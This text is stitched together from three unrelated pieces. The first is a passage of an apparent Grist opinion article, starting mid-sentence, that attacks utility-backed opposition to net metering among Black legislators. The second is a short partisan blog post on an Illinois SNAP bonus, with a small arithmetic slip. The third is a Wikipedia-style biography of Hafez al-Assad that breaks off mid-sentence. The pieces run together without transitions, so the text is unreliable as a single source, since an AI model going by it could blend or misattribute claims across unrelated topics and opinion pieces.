metering policies, commenting on the rise of non-utility generated, rooftop solar, or what’s referred to as “distributive generation”:  We are concerned about the regressive nature of the cost-shifting that results from the net metering policies used to make [distributive generation] appear to be a more attractive financial proposition. … Left unaddressed, policymakers risk the creation of an “energy divide” alongside the already established income gap where low and fixed income consumers and large swaths of minority consumers subsidize new distributed generation services for higher-income customers.  Of course, there’s already an energy divide that’s long been in place under the rule of the current fossil fuel-based utility system. The Black State Legislators report acknowledges the divide, but spends no ink grappling with the utility companies’ culpability in creating it — only that solar distributed generation will make it worse.  The two sources cited in the report to back up its claims come from fossil fuel lobbies: American Electric Power and the American Coalition for Clean Coal and Electricity, a major donor contributor to associations comprised of black elected officials.  The Black State Legislators group’s energy, transportation, and environment committee chair, former Florida state Rep. Joe Gibbons, promoted the report at a briefing for Congressional Black Caucus staffers late last month. Standing by his side was David Owens, an executive for Edison Electric, which has produced its own report on the supposed financial damages solar will bring. Edison’s position on this mirrors that of the notorious lobbying group ALEC, which has found its way into the anti-net metering resolutions of black organizations like the National Policy Alliance.  An attendee of the Congressional Black Caucus briefing told me that Owens and Gibbons claimed solar distributed generation would mean lost job opportunities for African Americans. Bang-up job the utilities are doing on the employment front so far. Here’s a snippet from the American Association of Blacks in Energy 2011 report “Energy, Economics, and the Environment: Effects on African Americans”:  Over the past 20 years there has been a 28% decrease in overall energy sector employment, and an increase of 35% in overall employment. As a consequence, despite the fact that the fraction of energy employees who are black has risen from 6% to 8% over this time period, the total percentage of blacks employed in the U.S. energy sector has fallen from around 1.8% in 1983, to 1.1% today.  That Gibbons is willing to stand alongside utility execs and peddle reports marked exclusively with their imprimatur tells us a lot about what these anti-net metering policies are really about. They’re not about equity or social justice, like the Black State Legislators report purports. It’s just fossil fuel companies singing the same tired songs, this time with new black and brown voices for payola. (I reached Gibbons by phone this week to comment. He said we could talk about next week.)  Fortunately, there are voices of color that have been standing up to the utilities and their front-men-of-color, as was the case in 2009. Back during the Senate hearing when Nation Black Chamber of Commerce President Alford argued against the climate bill on fossil fuel interest’s behalf, Sen. Boxer was able to counter with a pro-climate bill resolution from the NAACP. Today, elected officials and advocates have substantial data from the NAACP’s “Just Energy Policies” report to lean on when the utilities come a-singin’.  Late last month, a coalition of black and Latino organizations wrote a letter to Congressional Black Caucus Chair Marcia Fudge in support of solar, writing, “Rooftop solar and net metering deliver solutions that are vital to our communities, save lives by improving air quality, and provide economic benefits by lowering energy bills and creating jobs. To achieve a cleaner, more equitable approach to energy, we must keep net metering intact.”  Get Grist in your inbox Always free, always fresh. The DailyThe BeaconThe Weekly Ask your climate scientist if Grist is right for you. See our privacy policy  Prominent Latino voices have been speaking out just as loudly against the industry propaganda. Arturo Carmona, the executive director of Presente.org, recently wrote a powerful op-ed in the Sacramento Bee about this, saying that proposals to add fees for solar are “part of an insidious effort by utility companies across the country to keep us tied to their sources of energy.”  In the op-ed, Carmona kills off claims about how net metering is wrecking the economies of communities of color:  Here in California, net metering has brought jobs and clean energy to our communities. Two-thirds of all rooftop solar installations are in middle- and low-income neighborhoods, creating more than 47,000 jobs in our state, 20 percent of them Latino. … Utility companies need to stop using Latinos and other communities of color as pawns in their power grab.  There are also people of color who understand utilities’ motivations and agendas as insiders, and who’ve been calling their bluffs. When Gibbons wrote an op-ed this past summer arguing that net metering policies are financially hampering Florida residents, he was rebuffed by E. Leon Jacobs Jr., a former Florida legislature staffer and public service commissioner. Jacobs reminded Gibbons that “the majority of new installations are for working people of median incomes,” and that it was state legislators that were driving up energy costs by refusing to remove “burdensome” taxes on solar equipment — “at the behest of big utilities.”  Responses like these show that while the utilities might keep singing the same song, people don’t have to believe the hype.
-By Doug Powers • July 21, 2013 03:49 PM  **Written by Doug Powers  What sequester?  From an Illinois Department of Human Services press release:  Illinois Department of Human Services (IDHS) Secretary Michelle R.B. Saddler today announced that the state was awarded a $4.1 million bonus for its effective administration of the Supplemental Food and Nutrition Program (SNAP). Illinois was recognized for its accuracy rate of 98.3 percent, which ranked sixth in the nation in fiscal year 2012.  What amount of money did taxpayers lose due to ineffective administration?  Just more than 2 million people in the state, or 16 percent of the population, are enrolled in the federally managed SNAP. Washington D.C., sent Illinois $3 billion for SNAP last year. The numbers: 1.74 percent of $3 billion is $52 million. That’s a lot of taxpayer waste.  […]  Dabrowksi said Illinois saw its food stamp population jump 11.5 percent last year.  In 2011, the Obama administration gave Oregon a $5 million bonus for its efficient and speedy expansion of the food stamp roles.  The national food stamp roles continue to skyrocket as well (click to enlarge):  That’s terrific economic stimulus, according to the Secretary of Agriculture.  Note: I made a correction in the title. The original version said $4.2 million. The correct number is $4.1 million.  **Written by Doug Powers  Twitter @ThePowersThatBe
-Hafez al-Assad (Arabic: حافظ الأسد‎ Ḥāfiẓ al-ʾAsad, Levantine Arabic: [ˈħaːfezˤ elˈʔasad], Modern Standard Arabic: [ħaːfɪðˤ al'ʔasad]; 6 October 1930 – 10 June 2000) was a Syrian politician who served as President of Syria from 1971 to 2000. He was also Prime Minister from 1970 to 1971, as well as Regional Secretary of the Regional Command of the Syrian Regional Branch of the Arab Socialist Ba'ath Party and Secretary General of the National Command of the Ba'ath Party from 1970 to 2000.  Assad participated in the 1963 Syrian coup d'état which brought the Syrian Regional Branch of the Arab Socialist Ba'ath Party to power, and the new leadership appointed him Commander of the Syrian Air Force. In 1966, Assad participated in a second coup, which toppled the traditional leaders of the Ba'ath Party and brought a radical military faction headed by Salah Jadid to power. Assad was appointed defense minister by the new government. Four years later, Assad initiated a third coup which ousted Jadid, and appointed himself as the undisputed leader of Syria.  Assad de-radicalised the Ba'ath government when he took power by giving more space to private property and by strengthening the country's foreign relations with countries which his predecessor had deemed reactionary. He sided with the Soviet Union during the Cold War in turn for support against Israel, and, while he had forsaken the pan-Arab concept of unifying the Arab world into one Arab nation, he sought to make Syria the defender of Arab interests against Israel. When he came to power, Assad organised state services along sectarian lines (the Sunnis became the heads of political institutions, while the Alawites took control of the military, intelligence, and security apparatuses). The formerly collegial powers of Ba'athist decision-making were curtailed, and were transferred to the Syrian presidency. The Syrian government ceased to be a one-party system in the normal sense of the word, and was turned into a one-party state with a strong presidency. To maintain this system, a cult of personality centered on Assad and his family was created by the president and Ba'ath party.[2][3][4][5][6][7]  Having become the main source of initiative inside the Syrian government, Assad began looking for a successor. His first choice was his brother Rifaat, but Rifaat attempted to seize power in 1983–84 when Hafez's health was in doubt. Rifaat was subsequently exiled when Hafez's health recovered. Hafez's next choice of successor was his eldest son, Bassel. However Bassel died in a car accident in 1994, and Hafez turned to his third choice—his younger son Bashar, who at that time had no political experience. This move was met with criticism within some quarters of the Syrian ruling class, but Assad persisted with his plan and demoted several officials who opposed this succession. Hafez died in 2000 and Bashar succeeded him as President.  Early life and education: 1930–1950 [ edit ]  Family [ edit ]  Hafez was born on 6 October 1930 in Qardaha to an Alawite family of the Kalbiyya tribe. His parents were Na'sa and Ali Sulayman al-Assad. Hafez was Ali's ninth son, and the fourth from his second marriage. Sulayman married twice, had eleven children and was known for his strength and shooting abilities; locals nicknamed him Wahhish (wild beast). By the 1920s he was respected locally, and like many others he initially opposed the French Mandate for Syria. Nevertheless, Ali Sulayman later cooperated with the French administration and was appointed to an official post. For his accomplishments he was called "al-Assad" (a lion) by local residents and in 1927 made the nickname his surname. in 1936, he was one of 80 Alawite notables who signed a letter addressed to the French Prime Minister saying that "[the] Alawi people rejected attachment to Syria and wished to stay under French protection."  Education and early political career [ edit ]  Alawites initially opposed a united Syrian state (since they thought their status as a religious minority would endanger them), and Hafez's father shared this belief. As the French left Syria, many Syrians mistrusted Alawites because of their alignment with France. Hafez left his Alawite village, beginning his education at age nine in Sunni-dominated Latakia. He was the first in his family to attend high school, but in Latakia Assad faced Sunni anti-Alawite bias. He was an excellent student, winning several prizes at about age 14. Assad lived in a poor, predominantly Alawite part of Latakia; to fit in, he approached political parties that welcomed Alawites. These parties (which also espoused secularism) were the Syrian Communist Party, the Syrian Social Nationalist Party (SSNP) and the Arab Ba'ath Party; Assad joined the latter in 1946, and some of his friends belonged to the SSNP. The Ba'ath (Renaissance) Party espoused a pan-Arabist, socialist ideology.  Assad was an asset to the party, organizing Ba'ath student cells and carrying the party's message to the poor sections of Latakia and Alawite villages. He was opposed by the Muslim Brotherhood, which was allied with wealthy and conservative Muslim families. His high school accommodated students from rich and poor families, and Assad was joined by poor, anti-establishment Sunni Muslim youth from the Ba'ath Party in confrontations with students from wealthy Brotherhood families. He made many Sunni friends, some of whom later became his political allies. While still a teenager, Assad became increasingly prominent in the party as an organizer and recruiter, head of his school's student-affairs committee from 1949 to 1951 and president of the Union of Syrian Students. During his political activism in school, he met many men who would serve him when he was president.  Air Force career: 1950–1958 [ edit ]  Hafez al-Assad (above) standing on the wing of a Fiat G.46 -4B with fellow cadets at the Syrian AF Academy outside Aleppo , 1951–52  After graduating from high school, Assad aspired to be a medical doctor, but his father could not pay for his study at the Jesuit University of St. Joseph in Beirut. Instead, in 1950 he decided to join the Syrian Armed Forces. Assad entered the military academy in Homs, which offered free food, lodging and a stipend. He wanted to fly, and entered the flying school in Aleppo in 1950. Assad graduated in 1955, after which he was commissioned a lieutenant in the Syrian Air Force. Upon graduation from flying school he won a best-aviator trophy, and shortly afterwards was assigned to the Mezze air base near Damascus. In his early 20s, he married Anisa Makhlouf in 1957, a distant relative of a powerful family.  In 1954, the military split in a revolt against President Adib Shishakli. Hashim al-Atassi, head of the National Bloc and briefly president after Sami al-Hinnawi's coup, returned as president and Syria was again under civilian rule. After 1955, Atassi's hold on the country was increasingly shaky. As a result of the 1955 election Atassi was replaced by Shukri al-Quwatli, who was president before Syria's independence from France. The Ba'ath Party grew closer to the Communist Party not because of shared ideology, but a shared opposition to the West. At the academy Assad met Mustafa Tlass, his future minister of defense. In 1955, Assad was sent to Egypt for a further six months of training. When Gamal Abdel Nasser nationalised the Suez Canal in 1956, Syria feared retaliation from the United Kingdom, and Assad flew in an air-defense mission. He was among the Syrian pilots who flew to Cairo to show Syria's commitment to Egypt. After finishing a course in Egypt the following year, Assad returned to a small air base near Damascus. During the Suez Crisis, he also flew a reconnaissance mission over northern and eastern Syria. In 1957, as squadron commander, Assad was sent to the Soviet Union for training in flying MiG-17s. He spent ten months in the Soviet Union, during which he fathered a daughter (who died as an infant while he was abroad) with his wife.  In 1958 Syria and Egypt formed the United Arab Republic (UAR), separating themselves from Iraq, Iran, Pakistan, and Turkey (who were aligned with the United Kingdom). This pact led to the rejection of Communist influence in favor of Egyptian control over Syria. All Syrian political parties (including the Ba'ath Party) were dissolved, and senior officers—especially those who supported the Communists—were dismissed from the Syrian armed forces. Assad, however, remained in the army and rose quickly through the ranks. After reaching the rank of captain he was transferred to Egypt, continuing his military education with future president of Egypt Hosni Mubarak.  Runup to 1963 coup: 1958–1963 [ edit ]  Assad was not content with a professional military career, regarding it as a gateway to politics. After the creation of the UAR, Ba'ath Party leader Michel Aflaq was forced by Nasser to dissolve the party. During the UAR's existence, the Ba'ath Party experienced a crisis for which several of its members—mostly young—blamed Aflaq. To resurrect the Syrian Regional Branch of the party, Muhammad Umran, Salah Jadid, Assad and others established the Military Committee. In 1957–58 Assad rose to a dominant position in the Military Committee, which mitigated his transfer to Egypt. After Syria left the UAR in September 1961, Assad and other Ba'athist officers were removed from the military by the new government in Damascus, and he was given a minor clerical position at the Ministry of Transport.  Assad played a minor role in the failed 1962 military coup, for which he was jailed in Lebanon and later repatriated. That year, Aflaq convened the 5th National Congress of the Ba'ath Party (where he was reelected as the Secretary General of the National Command) and ordered the re-establishment of the party's Syrian Regional Branch. At the Congress, the Military Committee (through Umran) established contacts with Aflaq and the civilian leadership. The committee requested permission to seize power by force, and Aflaq agreed to the conspiracy. After the success of the Iraqi coup d'état led by the Ba'ath Party's Iraqi Regional Branch, the Military Committee hastily convened to launch a Ba'athist military coup in March 1963 against President Nazim al-Kudsi (which Assad helped plan). The coup was scheduled for 7 March, but he announced a postponement (until the next day) to the other units. During the coup Assad led a small group to capture the Dumayr air base, 40 kilometres (25 mi) northeast of Damascus. His group was the only one that encountered resistance. Some planes at the base were ordered to bomb the conspirators, and because of this Assad hurried to reach the base before dawn. Because the 70th Armored Brigade's surrender took longer than anticipated, however, he arrived in broad daylight. When Assad threatened the base commander with shelling, the commander negotiated a surrender; Assad later claimed that the base could have withstood his forces.  Early Ba'ath Party rule: 1963–1970 [ edit ]  Aflaqite leadership: 1963–1966 [ edit ]  Military work [ edit ]  Not long after Assad's election to the Regional Command, the Military Committee ordered him to strengthen the committee's position in the military establishment. Assad may have received the most important job of all, since his primary goal was to end factionalism in the Syrian military and make it a Ba'ath monopoly; as he said, he had to create an "ideological army". To help with this task Assad recruited Zaki al-Arsuzi, who indirectly (through Wahib al-Ghanim) inspired him to join the Ba'ath Party when he was young. Arsuzi accompanied Assad on tours of military camps, where Arsuzi lectured the soldiers on Ba'athist thought. In gratitude for his work, Assad gave Arsuzi a government pension. Assad continued his Ba'athification of the military by appointing loyal officers to key positions and ensuring that the "political education of the troops was not neglected". He demonstrated his skill as a patient planner during this period. As Patrick Seale wrote, Assad's mastery of detail "suggested the mind of an intelligence officer".  Assad was promoted to major and then to lieutenant colonel, and by the end of 1963 was in charge of the Syrian Air Force. By the end of 1964 he was named commander of the Air Force, with the rank of major general. Assad gave privileges to Air Force officers, appointed his confidants to senior and sensitive positions and established an efficient intelligence network. Air Force Intelligence, under the command of Muhammad al-Khuli, became independent of Syria's other intelligence organizations and received assignments beyond Air Force jurisdiction. Assad prepared himself for an active role in the power struggles that lay ahead.  Power struggle and 1966 coup [ edit ]  In the aftermath of the 1963 coup, at the First Regional Congress (held 5 September 1963) Assad was elected to the Syrian Regional Command (the highest decision-making body in the Syrian Regional Branch). While not a leadership role, it was Assad's first appearance in national politics; in retrospect, he said he positioned himself "on the left" in the Regional Command. Khalid al-Falhum, a Palestinian who would later work for the Palestine Liberation Organization (PLO), met Assad in 1963; he noted that Assad was a strong leftist "but was clearly not a communist", committed instead to Arab nationalism.  During the 1964 Hama riot, Assad voted to suppress the uprising violently if needed. The decision to suppress the Hama riot led to a schism in the Military Committee between Umran and Jadid. Umran opposed force, instead wanting the Ba'ath Party to create a coalition with other pan-Arab forces. Jadid desired a strong one-party state, similar to those in the communist countries of Europe. Assad, as junior partner, kept quiet at first but eventually allied himself with Jadid. Why Assad chose to side with him has been widely discussed; he probably shared Jadid's radical ideological outlook. Having lost his footing on the Military Committee, Umran aligned himself with Aflaq and the National Command; he told them that the Military Committee was planning to seize power in the party by ousting them. Because of Umran's defection, Rifaat al-Assad (Assad's brother) succeeded Umran as commander of a secret military force tasked with protecting Military Committee loyalists.  In its bid to seize power the Military Committee allied themselves with the regionalists, a group of cells in the Syrian Regional Branch that refused to disband in 1958 when ordered to do so. Although Aflaq considered these cells traitors, Assad called them the "true cells of the party"; this again highlighted differences between the Military Committee and the National Command headed by Aflaq. At the Eighth National Congress in 1965 Assad was elected to the National Command, the party's highest decision-making body. From his position as part of the National Command, Assad informed Jadid on its activities. After the congress, the National Command dissolved the Syrian Regional Command; Aflaq proposed Salah al-Din al-Bitar as prime minister, but Assad and Brahim Makhous opposed Bitar's nomination. According to Seale, Assad abhorred Aflaq; he considered him an autocrat and a rightist, accusing him of "ditching" the party by ordering the dissolution of the Syrian Regional Branch in 1958. Assad, who also disliked Aflaq's supporters, nevertheless opposed a show of force against the Aflaqites. In response to the imminent coup Assad, Naji Jamil, Husayn Mulhim and Yusuf Sayigh left for London.  In the 1966 Syrian coup d'état, the Military Committee overthrew the National Command. The coup led to a permanent schism in the Ba'ath movement, the advent of neo-Ba'athism and the establishment of two centers of the international Ba'athist movement: one Iraqi- and the other Syrian-dominated.  Jadid as strongman: 1966–1970 [ edit ]  Beginning [ edit ]  After the coup, Assad was appointed Minister of Defense. This was his first cabinet post, and through his position he would be thrust into the forefront of the Syrian–Israeli conflict. His government was radically socialist, and sought to remake society from top to bottom. Although Assad was a radical, he opposed the headlong rush for change. Despite his title, he had little power in the government and took more orders than he issued. Jadid was the undisputed leader at the time, opting to remain in the office of Assistant Regional Secretary of the Syrian Regional Command instead of taking executive office (which had historically been held by Sunnis). Nureddin al-Atassi was given three of the four top executive positions in the country: President, Secretary-General of the National Command and Regional Secretary of the Syrian Regional Command. The post of prime minister was given to Yusuf Zu'ayyin. Jadid (who was establishing his authority) focused on civilian issues and gave Assad de facto control of the Syrian military, considering him no threat.  During the failed coup d'état of late 1966, Salim Hatum tried to overthrow Jadid's government. Hatum (who felt snubbed when he was not appointed to the Regional Command after the February 1966 coup d'état) sought revenge and the return to power of Hammud al-Shufi, the first Regional Secretary of the Regional Command after the Syrian Regional Branch's re-establishment in 1963. When Jadid, Atassi and Regional Command member Jamil Shayya visited Suwayda, forces loyal to Hatum surrounded the city and captured them. In a twist of fate, the city's Druze elders forbade the murder of their guests and demanded that Hatum wait. Jadid and the others were placed under house arrest, with Hatum planning to kill them at his first opportunity. When word of the mutiny spread to the Ministry of Defense, Assad ordered the 70th Armored Brigade to the city. By this time Hatum, a Druze, knew that Assad would order the bombardment of Suwayda (a Druze-dominated city) if Hatum did not accede to his demands. Hatum and his supporters fled to Jordan, where they were given asylum. How Assad learned about the conspiracy is unknown, but Mustafa al-Hajj Ali (head of Military Intelligence) may have telephoned the Ministry of Defense. Due to his prompt action, Assad earned Jadid's gratitude.  In the aftermath of the attempted coup Assad and Jadid purged the party's military organization, removing 89 officers; Assad removed an estimated 400 officers, Syria's largest military purge to date. The purges, which began when the Ba'ath Party took power in 1963, had left the military weak. As a result, when the Six-Day War broke out, Syria had no chance of victory.  Seizing power [ edit ]  The Arab defeat in the Six-Day War, in which Israel captured the Golan Heights from Syria, provoked a furious quarrel among Syria's leadership. The civilian leadership blamed military incompetence, and the military responded by criticizing the civilian leadership (led by Jadid). Several high-ranking party members demanded Assad's resignation, and an attempt was made to vote him out of the Regional Command, the party's highest decision-making body. The motion was defeated by one vote, with Abd al-Karim al-Jundi (who the anti-Assad members hoped would succeed Assad as defense minister) voting, as Patrick Seale put it, "in a comradely gesture" to retain him. During the end of the war, the party leadership freed Aflaqites Umran, Amin al-Hafiz and Mansur al-Atrash from prison. Shortly after his release, Hafiz was approached by dissident Syrian military officers to oust the government; he refused, believing that a coup at that time would have helped Israel, but not Syria.  The war was a turning point for Assad (and Ba'athist Syria in general), and his attempted ouster began a power struggle with Jadid for control of the country. Until then Assad had not shown ambition for high office, arousing little suspicion in others. From the 1963 Syrian coup d'état to the Six-Day War in 1967, Assad did not play a leading role in politics and was usually overshadowed by his contemporaries. As Patrick Seale wrote, he was "apparently content to be a solid member of the team without the aspiration to become number one". Although Jadid was slow to see Assad's threat, shortly after the war Assad began developing a network in the military and promoted friends and close relatives to high positions.  Differences with Jadid [ edit ]  Assad believed that Syria's defeat in the Six-Day War was Jadid's fault, and the accusations against himself were unjust. By this time Jadid had total control of the Regional Command, whose members supported his policies. Assad and Jadid began to differ on policy; Assad believed that Jadid's policy of a people's war (an armed-guerrilla strategy) and class struggle had failed Syria, undermining its position. Although Jadid continued to champion the concept of a people's war even after the Six-Day War, Assad opposed it. He felt that the Palestinian guerrilla fighters had been given too much autonomy and had raided Israel constantly, which in turn sparked the war. Jadid had broken diplomatic relations with countries he deemed reactionary, such as Saudi Arabia and Jordan. Because of this, Syria did not receive aid from other Arab countries. Egypt and Jordan, who participated in the war, received £135 million per year for an undisclosed period.  While Jadid and his supporters prioritised socialism and the "internal revolution", Assad wanted the leadership to focus on foreign policy and the containment of Israel. The Ba'ath Party was divided over several issues, such as how the government could best use Syria's limited resources, the ideal relationship between the party and the people, the organization of the party and whether the class struggle should end. These subjects were discussed heatedly in Ba'ath Party conclaves, and when they reached the Fourth Regional Congress the two sides were irreconcilable.  Assad wanted to "democratize" the party by making it easier for people to join. Jadid was wary of too large a membership, believing that the majority of those who joined were opportunists. Assad, in an interview with Patrick Seale in the 1980s, stated that such a policy would make Party members believe they were a privileged class. Another problem, Assad believed, was the lack of local-government institutions. Under Jadid, there was no governmental level below the Council of Ministers (the Syrian government). When the Ba'athist Iraqi Regional Branch (which continued to support the Aflaqite leadership) took control of Iraq in the 17 July Revolution, Assad was one of the few high-level politicians wishing to reconcile with them; he called for the establishment of an "Eastern Front" with Iraq against Israel in 1968. Jadid's foreign policy towards the Soviet Union was also criticised by Assad, who believed it had failed. In many ways the relationship between the countries was poor, with the Soviets refusing to acknowledge Jadid's scientific socialism and Soviet newspapers calling him a "hothead". Assad, on the contrary, called for greater pragmatism in decision-making.  "Duality of power" [ edit ]  At a meeting someone raised the case of X. Should he not be brought back? Asad gave the questioner a hard look but said nothing. A little later the subject came up again and this time Asad said: I've heard something disagreeable about this officer. When he was on a course in England in 1954, his brother wrote asking for help for their sick mother. X took a £5 note out of his pocket, held it up and said he wouldn't part with it to save her life. Anyone who can't be loyal to his mother is not going to be loyal to the air force. —General Fu'ad Kallas on the importance in which Assad laid on personal loyalty  The conflict between Assad and Jadid became the talk of the army and the party, with a "duality of power" noted between them. Shortly after the failed attempt to expel Assad from the Regional Command, he began to consolidate his position in the military establishment —for example, by replacing Chief of Staff Ahmad al-Suwaydani with his friend Mustafa Tlass. Although Suwaydani's relationship with Jadid had deteriorated, he was removed because of his complaints about "Alawi influence in the army". Tlass was later appointed Assad's Deputy Minister of Defense (his second-in-command). Others removed from their positions were Ahmad al-Mir (a founder and former member of the Military Committee, and former commander of the Golan Front) and Izzat Jadid (a close supporter of Jadid and commander of the 70th Armoured Brigade).  By the Fourth Regional Congress and Tenth National Congress in September and October 1968, Assad had extended his grip on the army, and Jadid still controlled the party. At both congresses, Assad was outvoted on most issues, and his arguments were firmly rejected. While he failed in most of his attempts, he had enough support to remove two socialist theoreticians (Prime Minister Yusuf Zu'ayyin and Minister of Foreign Affairs Brahim Makhous) from the Regional Command. However, the military's involvement in party politics was unpopular with the rank and file; as the gulf between Assad and Jadid widened, the civilian and military party bodies were forbidden to contact each other. Despite this, Assad was winning the race to accumulate power. As Munif al-Razzaz (ousted in the 1966 Syrian coup d'état) noted, "Jadid's fatal mistake was to attempt to govern the army through the party".  While Assad had taken control of the armed forces through his position as Minister of Defense, Jadid still controlled the security and intelligence sectors through Abd al-Karim al-Jundi (head of the National Security Bureau). Jundi—a paranoid, cruel man—was feared throughout Syria. In February 1969, the Assad-Jadid conflict erupted in violent clashes through their respective proteges: Rifaat al-Assad (Assad's brother and a high-ranking military commander) and Jundi. The reason for the violence was Rifaat al-Assad's suspicion that Jundi was planning an attempt on Assad's life. The suspected assassin was interrogated and confessed under torture. Acting on this information, Rifaat al-Assad argued that unless Jundi was removed from his post he and his brother were in danger.  From 25 to 28 February 1969, the Assad brothers initiated "something just short of a coup". Under Assad's authority, tanks were moved into Damascus and the staffs of al-Ba'ath and al-Thawra (two party newspapers) and radio stations in Damascus and Aleppo were replaced with Assad loyalists. Latakia and Tartus, two Alawite-dominated cities, saw "fierce scuffles" ending with the overthrow of Jadid's supporters from local posts. Shortly afterwards, a wave of arrests of Jundi loyalists began. On 2 March, after a telephone argument with head of military intelligence Ali Dhadha, Jundi committed suicide. When Zu'ayyin heard the news he wept, saying "we are all orphaned now" (referring to his and Jadid's loss of their protector). Despite his rivalry with Jundi, Assad is said to have also wept when he heard the news.  Assad was now in control, but he hesitated to push his advantage. Jadid continued to rule Syria, and the Regional Command was unchanged. However, Assad influenced Jadid to moderate his policies. Class struggle was muted, criticism of reactionary tendencies of other Arab states ceased, some political prisoners were freed, a coalition government was formed (with the Ba'ath Party in control) and the Eastern Front—espoused by Assad—was formed with Iraq and Jordan. Jadid's isolationist policies were curtailed, and Syria reestablished diplomatic relations with many of its foes. Around this time, Gamal Abdel Nasser's Egypt, Houari Boumediene's Algeria and Ba'athist Iraq began sending emissaries to reconcile Assad and Jadid.  1970 coup d'état [ edit ]  Assad began planning to seize power shortly after the failed Syrian military intervention in the Jordanian Black September crisis, a power struggle between the PLO and the Hashemite monarchy. While Assad had been in de facto command of Syrian politics since 1969, Jadid and his supporters still held the trappings of power. After attending Nasser's funeral, Assad returned to Syria for the Emergency National Congress (held on 30 October). At the congress Assad was condemned by Jadid and his supporters, the majority of the party's delegates. However, before attending the congress Assad ordered his loyal troops to surround the building housing the meeting. Criticism of Assad's political position continued in a defeatist tone, with the majority of delegates believing that they had lost the battle. Assad and Tlass were stripped of their government posts at the congress; these acts had little practical significance.  When the National Congress ended on 12 November 1970, Assad ordered loyalists to arrest leading members of Jadid's government. Although many mid-level officials were offered posts in Syrian embassies abroad, Jadid refused: "If I ever take power, you will be dragged through the streets until you die." Assad imprisoned him in Mezze prison until his death. The coup was calm and bloodless; the only evidence of change to the outside world was the disappearance of newspapers, radio and television stations. A Temporary Regional Command was soon established, and on 16 November the new government published its first decree.  Domestic events and policies [ edit ]  Consolidating power [ edit ]  Assad in November 1970, shortly after seizing power  According to Patrick Seale, Assad's rule "began with an immediate and considerable advantage: the government he displaced was so detested that any alternative came as a relief". He first tried to establish national unity, which he felt had been lost under the leadership of Aflaq and Jadid. Assad differed from his predecessor at the outset, visiting local villages and hearing citizen complaints. The Syrian people felt that Assad's rise to power would lead to change; one of his first acts as ruler was to visit Sultan Pasha al-Atrash, father of the Aflaqite Ba'athist Mansur al-Atrash, to honor his efforts during the Great Arab Revolution. He made overtures to the Writers' Union, rehabilitating those who had been forced underground, jailed or sent into exile for representing what radical Ba'athists called the reactionary classes: "I am determined that you shall no longer feel strangers in your own country." Although Assad did not democratize the country, he eased the government's repressive policies.  He cut prices for basic foodstuffs 15 percent, which won him support from ordinary citizens. Jadid's security services were purged, some military criminal investigative powers were transferred to the police, and the confiscation of goods under Jadid was reversed. Restrictions on travel to and trade with Lebanon were eased, and Assad encouraged growth in the private sector. While Assad supported most of Jadid's policies, he proved more pragmatic after he came to power.  Most of Jadid's supporters faced a choice: continue working for the Ba'ath government under Assad, or face repression. Assad made it clear from the beginning "that there would be no second chances". However, later in 1970 he recruited support from the Ba'athist old guard who had supported Aflaq's leadership during the 1963–1966 power struggle. An estimated 2,000 former Ba'athists rejoined the party after hearing Assad's appeal, among them party ideologist Georges Saddiqni and Shakir al-Fahham, a secretary of the founding, 1st National Congress of the Ba'ath Party in 1947. Assad ensured that they would not defect to the pro-Aflaqite Ba'ath Party in Iraq with the Treason Trials in 1971, in which he prosecuted Aflaq, Amin al-Hafiz and nearly 100 followers (most in absentia). The few who were convicted were not imprisoned long, and the trials were primarily symbolic.  At the 11th National Congress Assad assured party members that his leadership was a radical change from that of Jadid, and he would implement a "corrective movement" to return Syria to the true "nationalist socialist line". Unlike Jadid, Assad emphasised "the advancement of which all resources and manpower [would be] mobilised [was to be] the liberation of the occupied territories". This would mark a major break with his predecessors and would, according to Raymond Hinnebusch, dictate "major alterations in the course of the Ba'thist state".  Institutionalization [ edit ]  Assad turned the presidency, which had been known simply as "head of state" under Jadid, into a position of power during his rule. In many ways, the presidential authority replaced the Ba'ath Party's failed experiment with organised, military Leninism; Syria became a hybrid of Leninism and Gaullist constitutionalism. According to Raymond Hinnebusch, "as the president became the main source of initiative in the government, his personality, values, strengths and weaknesses became decisive for its direction and stability. Arguably Assad's leadership gave the government an enhanced combination of consistency and flexibility which it hitherto lacked."  Assad institutionalised a system where he had the final say, which weakened the powers of the collegial institutions of the state and party. As fidelity to the leader replaced ideological conviction later in his presidency, corruption became widespread. The state-sponsored cult of personality became pervasive; as Assad's authority strengthened at his colleagues' expense, he became the sole symbol of the government. Because Assad wanted to become an Arab leader, he considered himself a successor to Nasser since he rose to power in November 1970 (a few weeks after Nasser's death). He modeled his presidential system on Nasser's, hailed Nasser for his pan-Arabic leadership and publicly displayed photographs of Nasser with posters of himself. Pictures of Assad—often engaged in heroic activities—were ubiquitous in public places. He named a number of locations and institutions after himself and family members. In schools, children were taught songs praising Assad. Teachers began each lesson with the song "Our Eternal Leader, Hafez al-Assad", and he was sometimes portrayed with seemingly divine attributes. Sculptures and portraits depicted him with the Islamic prophet, Muhammad, and after his mother's death the government produced portraits of her with a halo. Syrian officials were compelled to call Assad "the sanctified one" ("al-Muqaddas"). This strategy was also pursued by his son, Bashar al-Assad.  While Assad did not rule alone, he increasingly had the last word; those with whom he worked eventually became lieutenants, rather than colleagues. None of the political elite would question a decision of his, and those who did were dismissed. General Naji Jamil is an example, being dismissed after he disagreed with Assad's handling of the Islamic uprising. The two highest decision-making bodies were the Regional Command and the National Command, both part of the Ba'ath Party. Joint sessions of these bodies resembled politburos in socialist states which espoused communism. Assad headed the National Command and the Regional Command as Secretary General and Regional Secretary, respectively. The Regional Command was the highest decision-making body in Syria, appointing the president and (through him) the cabinet. As presidential authority strengthened, the power of the Regional Command and its members evaporated. The Regional and National Commands were nominally responsible to the Regional Congress and the National Congress—with the National Congress the de jure superior body—but the Regional Congress had de facto authority. The National Congress, which included delegates from Ba'athist Regional Branches in other countries, has been compared to the Comintern. It functioned as a session of the Regional Congress focusing on Syria's foreign policy and party ideology. The Regional Congress had limited accountability until the 1985 Eighth Regional Congress, the last under Assad. In 1985, responsibility for leadership accountability was transferred from the Regional Congress to the weaker National Progressive Front.  Sectarianism [ edit ]  Assad with Sunni members of the political elite: (L–R) Ahmad al-Khatib, Assad, Abdullah al-Ahmar and Mustafa Tlass  When Assad came to power, he increased Alawite dominance of the security and intelligence sectors to a near-monopoly. The coercive framework was under his control, weakening the state and party. According to Hinnebusch, the Alawite officers around Assad "were pivotal because as personal kinsmen or clients of the president, they combined privileged access to him with positions in the party and control of the levers of coercion. They were, therefore, in an unrivalled position to act as political brokers and, especially in times of crisis, were uniquely placed to shape outcomes". The leading figures in the Alawite-dominated security system had family connections; Rifaat al-Assad controlled the Struggle Companies, and Assad's son-in-law Adnan Makhluf was his second-in-command as Commander of the Presidential Guard. Other prominent figures were Ali Haydar (special-forces head), 